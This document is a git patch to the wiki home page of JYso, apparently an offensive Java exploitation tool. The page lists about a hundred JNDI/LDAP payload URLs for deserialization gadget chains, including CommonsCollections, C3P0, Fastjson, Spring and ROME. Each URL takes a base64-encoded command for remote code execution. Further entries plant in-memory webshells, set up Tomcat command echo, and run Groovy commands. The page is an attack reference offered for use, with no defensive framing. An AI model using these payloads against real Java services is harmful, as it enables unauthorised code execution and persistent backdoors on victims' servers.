From 65d6699487c2bc7ea2abc75b5f04cba7b294c7f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Thu, 25 Sep 2025 15:54:08 +0800 Subject: [PATCH] Updated Home (markdown) --- Home.md | 141 ++++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 102 insertions(+), 39 deletions(-) diff --git a/Home.md b/Home.md index d3966c2..40001d4 100644 --- a/Home.md +++ b/Home.md @@ -2,48 +2,111 @@ ---------- -+ Basic Queries +```text +[+] Basic Queries - + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo)，其他参数与可用选项，详细说明 - ldap://127.0.0.1:1389/Basic/M-EX-TomcatEcho +[+] ELProcessor Queries - + [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell)，其他参数与可用选项，详细说明 - ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters] +[+] Deserialize Queries + ldap://127.0.0.1:1389/Deserialization/AspectJWeaver/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/AspectJWeaver2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/BeanShell1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/BeanShell2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/BindingEnumeration/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P02/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P03/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P04/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P092/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0JDBC/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0JNDI/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0JNDI2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0RefDataSource/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/C3P0WrapperConnPool/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Click1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Clojure/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cb160/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cb192/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cb1183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cb2183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cb3183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsAttrCompare183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsAttrCompare192/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsJDBC/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsJNDI/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsObjectToStringComparator183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsObjectToStringComparator192/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsPropertySource183/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/CommonsBeanutilsPropertySource192/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc3/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc4/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc5/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc6/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc7/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc8/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc10/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc11/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc12/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/cc13/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ccK1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ccK2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ccK3/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ccK4/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Fastjson1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Fastjson2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/FileUpload1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Groovy/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Groovy1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Groovy2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Hibernate1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Hibernate2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Hibernate3JDBC/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ImageIO/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JBossInterceptors1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRE8u20/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRE8u20_2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRMPClient/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRMPClient_Activator/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRMPClient_Obj/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JRMPListener/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JSON1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Jackson1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Jackson2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JacksonLdapAttr/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JavassistWeld1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/JdbcRowSet/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Jdk7u21/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Jdk7u21variant/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Jython1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/LazySearchEnumeration/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/MozillaRhino1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/MozillaRhino2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Myfaces1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Myfaces2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ROME/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ROME2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ROME3/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ROMEJDBC/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/RenderedImage/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Resin/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/ServiceLoader/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Spring1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Spring2/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Spring3/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/SpringAbstractBeanFactoryPointcutAdvisor/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/SpringPartiallyComparableAdvisorHolder/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/SpringPropertyPathFactory/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Vaadin1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Wicket1/command/Base64/[base64_encoded_cmd] +ldap://127.0.0.1:1389/Deserialization/Xbean/command/Base64/[base64_encoded_cmd] - 参数同Gadget中一样，例如 +[+] Groovy Queries - ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/LWhrICJVc2VyLUFnZW50IiAtaHYgImFhYWF3d3ci - -+ ELProcessor Queries - - + [JAVA-RCE-Echo](https://github.com/qi4L/JYso/wiki/4%E3%80%81JAVA-RCE-Echo)，其他参数与可用选项，详细说明 - - ldap://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho - - + [Java Mem Shell](https://github.com/qi4L/JYso/wiki/5%E3%80%81Java-Mem-Shell)，其他参数与可用选项，详细说明 - - ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/[base64_encoded_Parameters] - - 参数同Gadget中一样，例如 - - ldap://127.0.0.1:1389/Basic/EX-MS-TFMSFromJMX/shell/LWhrICJVc2VyLUFnZW50IiAtaHYgImFhYWF3d3ci - -+ Deserialize Queries - - + [Gadget](https://github.com/qi4L/JYso/wiki/6%E3%80%81Gadget)，其他参数与可用选项，详细说明 - - ldap://127.0.0.1:1389/Deserialization/链子名/command/Base64/[base64_encoded_cmd] - - + 此处也可以直接打内存马，例如 - - ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtTVMtVEZNU0Zyb21SZXF1ZXN0 - - + 也可以直接打回显类，例如 - - ldap://127.0.0.1:1389/Deserialization/cc9/command/Base64/RVgtVG9tY2F0RWNobw== - -+ Groovy Queries - - ldap://127.0.0.1:1389/groovy/command/calc +```